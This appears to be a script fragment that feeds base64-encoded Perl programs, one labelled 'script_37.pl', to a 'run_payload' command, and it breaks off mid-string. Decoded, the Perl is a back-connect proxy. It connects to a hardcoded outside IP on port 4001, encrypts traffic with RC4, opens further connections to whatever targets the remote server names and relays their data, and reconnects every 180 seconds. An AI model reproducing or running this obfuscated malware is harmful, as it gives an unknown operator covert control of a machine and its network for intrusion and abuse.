JIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_37.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMTc5JzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQ